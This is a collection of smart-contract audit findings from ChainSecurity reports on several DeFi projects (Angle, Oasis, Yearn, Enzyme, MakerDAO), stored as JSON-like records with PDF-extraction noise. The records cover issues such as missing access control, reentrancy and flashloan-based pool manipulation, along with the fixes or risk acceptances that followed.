DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The naming has been changed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.9 Documentation Mismatches", "body": " The documentation of some functions mismatches their implementations in several places: The documentation of buyback() for the UniswapV3 and SanToken converters, specify that it swaps on Uniswap or Sushiswap, which is incorrect (Copy&Paste error). The documentation the converter functions specifies the FeeDistributor as the recipient. However, the recipient of the funds could also be another converter (e.g. setFeeDistributor). Specification changed: The comments have been corrected accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.10 Gas Optimizations", "body": " The gas consumption of some functions could be reduced. For example: PoolManager.report() if(loss In interestsAccumulated is read four times from storage. the in > 0) branch, the variable In PoolManager.pullSurplus() surplusDistributor is read three times and token is read twice from storage. In BaseSurplusConverter.setFeeDistributor() rewardToken is read twice from storage. The Sushi / UniswapV2 surplus converter stores the length of the path. Since this can be retrieved from the array itself, that results in unnecessary storage writes. The buyback in the Sushi / UniswapV2 where both paths are present reads either the path for UniswapV2 or Sushiswap twice from storage. Similarly, the router address for one of these will be read twice from storage. AngleDistributor.toggleDistributions() has two storage reads. However, one could be sufficient. Even though not a gas optimization: BaseSurplusConverter imports IUniswapRouter which is unused. This list of examples illustrates some inefficiencies in code which could increase the gas consumption of users. Some of these optimizations may or may not be done by the optimizer. As the exact behavior of the optimizer is unknown/undocumented the optimizations may be done manually, as is done in large parts of the Angle codebase already. All optimizations listed above have been implemented. Angle - Staking and Surplus - 18 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f7.11 Guardian Powers The guardian has been specified as a role that can change system parameters. However, when transferring funds it is typically required that the governance performs such actions. Note, that in the new code the guardian can be overly powerful (e.g. setting the fee distributor). Now, the governor role has been introduced to the surplus converter contracts. Note that only governors can set the fee distributor. That restricts the permissions of the guardian. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.12 Outdated Compiler Version", "body": " The project uses an outdated version of the Vyper compiler. # @version 0.2.15 At the time of writing the most recent Vyper release of version 0.2.x is 0.2.16 which contains some bugfixes but no breaking changes. The compiler version has been updated to 0.2.16. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.13 burn in Surplus Converters Not Paused", "body": " The BaseSurplus converter specifies the following for function pause: /// @dev After calling this function, it is going to be impossible for whitelisted addresses to buyback /// reward tokens or to send the bought back tokens to the `FeeDistributor` However, as burn() has no whenNotPaused modifier, it is possible to send funds to the fee distributor. Without documentation the expected behavior is unclear. The whenNotPaused modifier has been added to burn(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.14 is_killed Remains Unused", "body": " is_killed remains unused in code. Therefore, its setter has no effect on the system. That functionality could be removed to reduce code size and, hence, to reduce deployment cost. Angle - Staking and Surplus - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The code has been removed. Angle - Staking and Surplus - 20 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "8.1 Arbitrage Opportunities for Whitelisted Role", "body": " The buyback function swaps one token in another one and, hence, will change the prices of assets on one pool. Now pools will now price differences and thus arbitrage opportunities are created. The comments above the buyback function in the BaseSurplusConverter contract describe this. Described as a mitigation for this, the function is permissioned and can only be called by the whitelisted role. The resulting arbitrage opportunity will anyway be taken advantage of, e.g. by bots. Depending on the amounts involved it could be worthwhile for the whitelisted role to do so / allow the code to do so. Note also that multiple buyback calls could increase the profit further by creating more arbitrage possibilities. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "8.2 Vyper <-> Solidity Compatability", "body": " Some of the new contracts are written in Vyper. The system now consists of interacting contracts written in Solidity and Vyper. While both compile to EVM bytecode and the interaction are normal low level calls, there might be incompatibilities: Encoding in one and decoding in the other may be problematic and there are concerns whether that works correctly in all circumstances. Hence, interaction between contracts written in Vyper and contracts with Solidity should be considered as experimental. The interaction of such contracts should be tested carefully. Angle - Staking and Surplus - 21 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "5.1 FeeTier of Swap", "body": " 0 0 0 2 The Swap contract allows authorized callers to add multiple fee tiers. These tiers are not documented. Any fee added as fee tier is valid. All calls to swapTokens() may simply specify the lowest allowed fee, higher fee tiers can just be avoided by the users. Risk accepted: Oazo Apps Limited states: Added a note at the bottom of the Operation Registry section. We accept the risk that the user might change the fee from the front-end. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "5.2 Missing NatSpec", "body": " The code is not documented in the NatSpec format. It is recommended to fully annotate all public interfaces. This should help both end users and developers interact with the contracts. Risk accepted: To be added later. Oazo Apps Limited - Modular Proxy Actions - 11 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedRiskAcceptedDesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fOazo Apps Limited - Modular Proxy Actions - 12 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 2 9 12 -Severity Findings -Severity Findings OperationStorage Can Be Polluted OperationsRegistry: No Access Control -Severity Findings Implementation of UseStore Inconsistent With Documentation Ineffective receiveAtLeast Check After Swap Maker Deposit Action Uses Full Balance No Access Control on onFlashLoan OperationRegistry: No Entry, No Checks Payable Action.execute() Reentrancy Into executeOp() Visibility of aggregate Function sendToken: Transfers msg.value Instead of send.amount -Severity Findings Action Events Not Emitted Actions: Inconsistent Destination of Tokens DAI Address Could Be Constant OperationStorage: Unused owner Variable OperationsRegistry: No Events Emitted on State Change Outdated Compiler Version Receiver of Flashloan Sanity Check in on Flashloan Swap Slippage Saved Event Order Swap.sol: ReceiveAtLeast Does Not Take Into Account the Fee Unused Return Value of Aave Withdraw onFlashLoan() Ignoring Fees ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.1 OperationStorage Can Be Polluted", "body": " Oazo Apps Limited - Modular Proxy Actions - 13 CriticalHighCodeCorrectedCodeCorrectedMediumSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \fOperationStorage is designed to be used as a temporary store of actions and return values for the execution of an operation. Therefore, the variables it contains are deleted at the end of every operation execution. However, as it lacks access control, and since there is no mechanism to ensure that OperationStorage is empty before an execution, action and return values could be maliciously or erroneously introduced. In particular, an attacker could store spurious return values with the push function. In the next execution actions may retrieve these values instead of the intended ones which are appended at the end of the array. Finally, it should be considered that the execution of actions may reach untrusted code (integrations, tokens). Functions push and finalize may be accessed unexpectedly even within the execution of an action. This similarly applies to functions setOperationActions and verifyAction were it is not obvious whether this can have a negative impact. Code partially corrected: OperationStorage is now cleared at the beginning of OperationExecutor.executeOp(), this ensures that the execution of operation does not start with a polluted OperationStorage which mitigates the main issue. Within execution of actions untrusted code may be reached (integrations, tokens), in theory they may the OperationStorage: push(), verifyAction(), execute state changing clearStorageAfter(). functions of OperationStorage contract now stores the return values from actions in a mapping where values are assigned to the address that pushed them. mapping(address => bytes32[]) public returnValues; function push(bytes32 value) external { ... returnValues[msg.sender].push(value); } function at(uint256 index, address who) external view returns (bytes32) { return returnValues[who][index]; } When writing to the OperationStorage, an address can only write in the array associated to this address. When reading from the OperationStorage, the caller must specify which value from which address he wants to read. This prevents untrusted code to tamper with the return values during an operation. In case of a flashloan action executed from the AutomationBot (more precicesly a Flashloan action with flag dsProxyFlashloan set to false) execution continues in the context of the OperationExecutor. The original initiator will be pushed to the OperationStorage, when called from the OperationExecutor functions push, at and len will use this address instead of msg.sender. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.2 OperationsRegistry: No Access Control", "body": " Oazo Apps Limited - Modular Proxy Actions - 14 SecurityHighVersion1CodeCorrected \fThe purpose of the OperationsRegistry contract is to specify the set of actions identified by a string name. As this contract lacks access control, anyone could modify the mapping between operation and actions. This can be done through the addOperation function, which allows not only adding a new operation but also modifying any existing one. As a consequence, an attacker could modify the entries for existing operations. This could prevent the corresponding verifications from succeeding, and thus compromise the availability of the system. An attacker may as well delete the actions stored for an operation resulting in no verification on the calls being done in OperationExecutor.aggregate(). The extensive documentation lacks a description of the OperationRegistry. Access control has been added: There is now an owner, only this owner can add/update operations to the OperationRegistry. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.3 Implementation of UseStore Inconsistent With", "body": " Documentation The implementation of the read function in UseStore is not consistent with the provided documentation. The function shown in the PDF does not subtract 1. In general, mixing 0-based and 1-based indexing can be a source of errors, so this should be well documented. Specification changed: The excerpt of UseStore.read() shown in the documentation has been updated and is now in line with the actual implementation. Furthermore the params mapping section of the documentation has been extended. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.4 Ineffective receiveAtLeast Check After", "body": " Swap To verify that the swap executed correctly, SwapOnOneInch.execute() checks that the balance is at least what the user wanted to receive: require(balance >= swap.receiveAtLeast, \"Exchange / Received less\"); The check doesn't take into account that the token balance before the swap may have been non-zero already. Hence the check may pass despite the swap resulted in less than receiveAtLeast tokens. This code is intended to be executed as Delegatecall in the context of the users DsProxy, a non-zero balance of the token out before the swap is not an unlikely scenario. A similar check is done in Swap.sol. This contract however is used differently: It's a helper contract which is not supposed to hold any token balances in between calls, furthermore it forwards all token balance. Hence in the Swap contract; from a caller's perspective the check ensures receiveAtLeast. Oazo Apps Limited - Modular Proxy Actions - 15 CorrectnessMediumVersion1Speci\ufb01cationChangedCorrectnessMediumVersion1CodeCorrected \f File SwapOnOneInch.sol no longer exists in the updated codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.5 Maker Deposit Action Uses Full Balance", "body": " While the DepositData struct contains an amount parameter, the maker/Deposit action always uses the full available balance. This behavior is not documented and may be unexpected for users who specify an inferior amount. Code partially corrected: The code of action maker/Deposit now deposits the amount specified. However the action still exchanges all Ether balance to WETH. Is this intended? The code wrapping ETH has been removed. This fixes the remaining issue as the user's Ether will not be exchanged to WETH. Note that the user needs to have WETH available instead. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.6 No Access Control on onFlashLoan", "body": " The onFlashLoan function of the OperationExecutor contract is only intended to be called by the Flashloan provider. As it has no access control it can be called by anyone. The contract will then give approval to the registered lender for amount of asset. While this is not necessarily a problem, it breaks the normal pattern that the OperationExecutor is \"stateless\" in between calls, in the sense that he has given an approval to transfer tokens to a third party. Access control has been added to OperationExecutor.onFlashLoan(). The function can only be called by the trusted lender returned by the Registry: address lender = registry.getRegisteredService(FLASH_MINT_MODULE); require(msg.sender == lender, \"Untrusted flashloan lender\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.7 OperationRegistry: No Entry, No Checks", "body": " Oazo Apps Limited - Modular Proxy Actions - 16 CorrectnessMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fWhen there is no operation stored for a name, getOperation() returns an empty array and subsequently nothing is checked. Shouldn\u2019t this case be handled explicitly to avoid not checking correctness by accident? An operation name is a string. This allows displaying the operation name in a human readable way. However, this can be dangerous as strings support the Unicode charset and many lookalike characters of different alphabets exist in this charset. Hence users might be tricked. For https://util.unicode.org/UnicodeJsps/confusables.jsp?a=IncreaseMultipleWithFl characters, lookalike insights more into please refer to: getOperation() of OperationRegistry now reverts on non-existing operations instead of returning an empty array (which results in skipping checks). Custom operation with empty actions have to be explicitly added to the OperationRegistry. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.8 Payable Action.execute()", "body": " The interface Executable specifies: function execute(bytes calldata data, uint8[] memory paramsMap) external payable; The code of actions is executed as delegatecall from within OperationExecutor.aggregate(). Delegatecall preserves msg.sender and msg.value. The aggregate function of the OperationExecutor is not payable, hence msg.value will always be zero. Calls to executeOp() / aggregate() with non-zero msg.value will revert, hence why is the execute function of actions supposed to be payable? Note that actions may still work with Ether despite not receiving calls with non-zero msg.value: Ether can be received by the DsProxies fallback function / the DsProxy can already have an Ether balance which can be transferred onwards. OperationExecutor.executeOp() is supposed to handle Ether transactions, hence it has been changed to payable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.9 Reentrancy Into executeOp()", "body": " Function executeOp() can be reentered. At this time OperationStorage may be in an inconsistent state, amongst others (actions), returnValues may contain values. While this is not an intended use case, technically the possibility exists. To reduce risks, this may be restricted especially as the execution reaches untrusted third-party code (integrations, token contracts). Furthermore note that after a takeAFlashloan action, the OperationExecutor temporarily has the right to call execute() on the DsProxy of the user. OperationExecutor.onFlashloan() uses this to execute aggregate() on the initiator. Currently this is not exploitable due to: Oazo Apps Limited - Modular Proxy Actions - 17 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f The DAI Flash Mint Module features a reentrancy protection, hence no second flashloan is currently possible. Note that this is no requirement for an ERC3165 compliant flashloan provider, an arbitrary flashloan proivder may not, e.g., the reference implementation of ERC3165 does not feature such a protection. ERC3165 requires the initiator being the msg.sender initiating the flashloan. It's not possible for an attacker to get the initiator to be the DsProxy where the OperationExecutor holds the privilege. In the aggregate function. reentrancy is also possible with aggregate(), please consider issue Visibility of The updated code prevents reentrancy into executeOp() by leveraging the OperationStorage contract: The reentrancy lock is set in the OperationStorage at the beginning of the execution and released after the operation. Releasing can only be done by the account which set the reentrancy lock; releasing the lock sets the stored account to 0x0. This ensures that the original call to executeOp() reverts in case of reentrancy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.10 Visibility of aggregate Function", "body": " Although the main entry point into the OperationExecutor contract is the executeOp function, the aggregate function is also public. In the current implementation this is required for the flashloan functionality to continue execution of the subsequent calls. This function, which is not intended to be called directly, may become a source of confusion/errors. In particular, if called directly it will bypass the verification that the right actions are executed for a given operation (as specified by OperationsRegistry). Furthermore operationStorage.finalize() will not be executed. Access to this function might be restricted. This function may be internal, with an exposed external function for onFlashloan() which accepts calls by the OperationExecutor only. The visibility of the aggregate function has been changed to internal. The callback from onFlashLoan to the DsProxy is executed via a new callbackAggregate function which is public but restricts execution only by OperationExecutor itself. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.11 sendToken: Transfers msg.value Instead of", "body": " send.amount In case of Ether transfer, action sendToken transfers msg.value instead of the amount specified in sendTokenData. Note that despite the payable modifier of function execute, (delegate)calls from the OperationExecutor to this action cannot have a non-zero msg.value since OperationExecutor.aggregate() is not Oazo Apps Limited - Modular Proxy Actions - 18 Version1DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \fpayable and would revert on non-zero msg.value. Neither does executeOp(). Hence sendToken will never enter the msg.value > 0 branch in the current setup. In case of Ether transfer, action sendToken now transfers the amount specified in sendTokenData. Furthermore OperationExecutor.executeOp() now features the payable modifier and accepts calls with Ether. Since function aggregate has been made internal calls with non-zero msg.value are now supported. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.12 Action Events Not Emitted", "body": " The Executable interface defines an Action event that only some actions emit. The following actions do not emit an event at the end of their execution: common/PullToken common/SendToken common/SetApproval common/SwapOnOneInch maker/CdpAllow All actions now emit the Action event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.13 Actions: Inconsistent Destination of Tokens", "body": " In maker/Generate the destination address data.to can be specified by the caller, but this is not possible in aave/withdraw. There may be a general pattern actions should adhere to for consistency. AAVE withdrawal & borrow actions now accept the destination of tokens, consistent with the Maker actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.14 DAI Address Could Be Constant", "body": " In TakeFlashoan, the DAI address may be hardcoded instead of being queried from the registry. Oazo Apps Limited - Modular Proxy Actions - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe DAI address is now an immutable set upon deployment. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.15 OperationStorage: Unused owner Variable", "body": " The OperationStorage contract defines an owner variable that is set to msg.sender in the constructor, but is never used thereafter. The unused owner variable has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.16 OperationsRegistry: No Events Emitted on", "body": " State Change No events are defined or emitted in the OperationsRegistry contract. In general, it is recommended to emit an event on every state change. This allows to identify changes easily. Function addOperation now emits event OperationAdded. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.17 Outdated Compiler Version", "body": " The project uses an outdated version of the Solidity compiler. pragma solidity ^0.8.5; Known bugs in version 0.8.5 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1753 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.16. It was decided to update to compiler version 0.8.15. Client states: Updated compiler version to 0.8.15. There was a new version after this that came just after we updated, but that did not have changes that were relevant to our scope. Oazo Apps Limited - Modular Proxy Actions - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.18 Receiver of Flashloan From the documentation we understood that the receiver of the flashloan and the callback would always be the OperationExecutor contract. For action TakeFlashloan however, the caller can specify the receiver using parameter flData.borrower. What's the intention here? The address of the OperationExecutor is now fetched from the registry and set as borrower. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.19 Sanity Check in on Flashloan", "body": " The intention behind following check in OperationExecutor.onFlashloan() is unclear: require(amount == flData.amount, \"loan-inconsistency\"); While checking the actual balance has its limitations (e.g. not clear if token balance originates from the flashloan or whether it has been there before already), why is the sanity check on the specified amounts being done but not on the actual balance ? After the intermediate report, the check was changed to: require(IERC20(asset).balanceOf(address(this)) == flData.amount, \"Flashloan inconsistency\"); This is dangerous: Any additional balance of this token held by the OperationExecutor causes a revert of this function. It should be clarified what should be checked and why this is checked. Initially the code checked whether the parameter amount the caller (the flashloan provider) passed matches the expected amount. We questioned what's the intention behind this check and highlighted that it doesn't ascertain anything on the actual balance. Checking if at least the balance expected is present might be an option, but it must be clear that this doesn't say how much tokens have been transferred from the flashloan provider (as the OperationExecutor may have had a non-zero token balance before as anyone could just transfer tokens). The check was changed to: require(IERC20(asset).balanceOf(address(this)) >= flData.amount, \"Flashloan inconsistency\"); This does not allow to determine whether the token balance originates from the flashloan or if it was already in the contract, but now an additional balance of this token held by the OperationExecutor will not cause a revert. Client adds: In the event that the lender is compromised and supplies a lesser amount then the Operation execution will fail unless another party has accidentally sent balance to Oazo Apps Limited - Modular Proxy Actions - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fthe Operation Executor at some earlier time. The only impacted party would be the person who accidentally sent tokens to the Operation Executor, whose funds are lost anyway. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.20 Swap Slippage Saved Event Order", "body": " Swap._swap() emits the SlippageSaved event after a swap: balance = IERC20(toAsset).balanceOf(address(this)); emit SlippageSaved(receiveAtLeast, balance); if (balance < receiveAtLeast) { revert ReceivedLess(receiveAtLeast, balance); } While after a revert occurs all state changes including any event logs are thrown away, it might be more appropriate to only emit the event after it has been ascertained that more than receiveAtLeast have been received. The event is now emitted after the check. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.21 Swap.sol: ReceiveAtLeast Does Not Take", "body": " Into Account the Fee While the code of Swap._swap() ensures that after the call to the 1inchAggregateor the balance of the SwapContract is more than receiveAtLeast what is sent onwards to the user might be less as the fee may be deducted only afterwards. The expected behavior is not specified. Specification changed: The documentation has been updated and now reads: receiveAtLeast - an amount that needs to be returned from swap, it does not consider fee, in case fee is collected from outgoing token the resulting amount might be less than receiveAtLeast. Sole purpose of ReceiveAtLeast is to prevent high slippage on exchange. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.22 Unused Return Value of Aave Withdraw", "body": " In the Aave withdraw action, the return value of withdraw is ignored: Oazo Apps Limited - Modular Proxy Actions - 22 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fILendingPool(registry.getRegisteredService(AAVE_LENDING_POOL)).withdraw( withdraw.asset, withdraw.amount, address(this) ); This return value represents the actual amount that was withdrawn and might be different from the amount given as argument. Specifically, if type(uint256).max is given as argument amount, then the total available balance is withdrawn and returned. The withdrawn value is now stored and can be used by subsequent actions. Oazo Apps Limited replied: We agreed that all Actions should push a return value to the OperationStorage even if that value is zero (Code change hasn\u2019t occurred yet). This makes paramsMapping simpler and more predictable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.23 onFlashLoan() Ignoring Fees", "body": " The documentation states that the OperationExecutor implements the IERC3156 standard. The implementation of OperationsExecutor.onFlashloan() however does not support fees. DAI flash mint currently takes no fee hence with the intended flashloan provider the code currently works however the current code doesn't fully implement/support the ERC3156 standard. onFlashloan() now supports fees. Oazo Apps Limited - Modular Proxy Actions - 23 CorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "7.1 DsProxy With Unsupported Authority", "body": " A user is free to set the authority contract of his own DSProxy. Depending on the authority contract set, which may be arbitrary, ProxyPermission.givePermission() may not be successful. The documentation only explains the expected case were everything works, it does not mention this restriction. Oazo Apps Limited - Modular Proxy Actions - 24 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-app-modular-proxy-actions/"}, {"title": "6.1 Missing Indexing of Events", "body": " The event NewMonth contains no indexed fields. The event's field month is a specific number. Yearn might consider indexing it if needed. CS-YRNDSCNT-004 Code corrected The field month was indexed in the event NewMonth. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ydiscount-smart-contracts/"}, {"title": "6.2 Race Condition on Team Allowance", "body": " If the management calls set_team_allowances a second time during the same month while a team has some allowance left, similar to the well-documented issue with the ERC20 approve function, it is possible for a team to front-run the transaction to spend its remaining allowance before the management set its allowance to the new amount. CS-YRNDSCNT-005 Specification changed Yearn highlighted the trust assumption that the team is a fully trusted party. Misbehaving will lead to disqualification from participating in the program. Yearn - yDiscount - 10 CriticalHighMediumLowCodeCorrectedSpeci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChanged \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ydiscount-smart-contracts/"}, {"title": "7.1 Event Reentrancy", "body": " In the function buy, the callback is done before logging the event, in the case that the call would reenter the contract, it would be possible to have events emitted out of order. CS-YRNDSCNT-001 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ydiscount-smart-contracts/"}, {"title": "7.2 Gas Optimizations", "body": " In set_contributor_allowances, self.expiration is read from storage once before entering the loop and then once at each iteration of the loop, caching it in memory would avoid several SLOAD. CS-YRNDSCNT-002 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ydiscount-smart-contracts/"}, {"title": "7.3 Inconsistency of the Interface ", "body": " ChainlinkOracle While the Chainlink documentation specifies that the return type of decimals is an uint8, the interface ChainlinkOracle defines the function decimals as returning an uint256. Although a uint8 will always fit in a uint256, it would be more consistent to use uint8 as described in the documentation. CS-YRNDSCNT-003 Yearn - yDiscount - 11 InformationalVersion1InformationalVersion1InformationalVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ydiscount-smart-contracts/"}, {"title": "6.1 Code With No Effect", "body": " In UniswapV3LiquidityPositionLib.__mint, token0 and token1 are overwritten by their own value, hence this code has no effect. The related assignments have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-dec21/"}, {"title": "6.2 Missing Sanity Check", "body": " NonfungiblePositionManager Upon UniswapV3 LP external position creation, sorting of token0 and token1 is not enforced. UniswapV3 sorted (address(token0) < address(token1)), otherwise the transaction will revert. This means that a non-functional external position can be instantiated. For example, passing non-sorted tokens to NonfungiblePositionManager.mint will revert on PoolAddress.computeAddress which requires the tokens to be sorted. tokens needs the be to Ordering of the tokens is now enforced on the external position initialization. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-dec21/"}, {"title": "6.3 Redundant Deadline", "body": " Avantgarde Finance - Sulu Extensions - 10 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fWhen UniswapV3LiquidityPositionLib._removeLiquidity is called, the deadline is set to block.timestamp + 1. This is not needed since the call to the NonfungiblePositionManager is part of an already executing transaction. +1 has been removed. Avantgarde Finance - Sulu Extensions - 11 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-dec21/"}, {"title": "7.1 PoolTogether V4 Early Exit Fee", "body": " Upon redeem, PoolTogetherV4 is assumed to have no penalty fee for early withdraws as described in https://docs.pooltogether.com/faq/v3-to-v4-differences. An exit fee like in V3 could prevent the fund manager to withdraw from PoolTogetherV4. More specifically, pools that make use of PrizePool are assumed get the full amount requested on withdrawal. When the PrizePool.withdrawFrom is called, the amount to be redeemed is calculated using _redeem internal function. In the case of PrizePool._redeem, this function calls one of the yield sources implementations which determines the actual amount to be redeemed. Should such a yield source return a redeemed amount that is less than the amount initially requested, the call on integration will fail. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-dec21/"}, {"title": "7.2 Price Oracle Discrepancies", "body": " In order to calculate the value of a position the actual price between the two tokens is required. For this, the default oracles for the two tokens are used. We assume that there are no big discrepancies between the actual price of the Uniswap pool for the specific pair and the price calculated by the system. Avantgarde Finance - Sulu Extensions - 12 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-dec21/"}, {"title": "5.1 Aave Pool Size Manipulation", "body": " To calculate the amount to be deposited into the Aave pool to reach the target interest rate is computed in D3MAavePlan.getTargetAssets*() by computing the difference of target pool size computed and the current pool size. However, estimation of the current pool size uint256 totalPoolSize = dai.balanceOf(adai) + totalDebt; is prone to manipulation. Note that Aave offers flashloans that do not update the debt. Hence, it is possible to manipulate the pool size and hence the amount moved into the pool by first flashloaning on Aave and then calling exec(). nac Risk accepted: MakerDAO responded: This is a concern we discussed at-length during our internal review. We have identified several scenarios where the D3M could be manipulated in this way. The high level conclusion we came to in our internal review was that such a manipulation would 1) likely not have a high impact to the system and 2) would be relatively short lived. MakerDAO - Direct Deposit V2 - 13 DesignCorrectnessCriticalHighMediumLowRiskAcceptedAcknowledgedCodePartiallyCorrectedAcknowledgedAcknowledgedAcknowledgedAcknowledgedCorrectnessLowVersion3RiskAccepted \f5.2 Disable Plan Without Event The disable function of both, D3MAavePlan and D3MCompoundPlan sets the target interest rate to 0 and emit the Disable event. Both contracts feature a file function which allows to set the target interest rate to 0 without the Disable event being emitted. 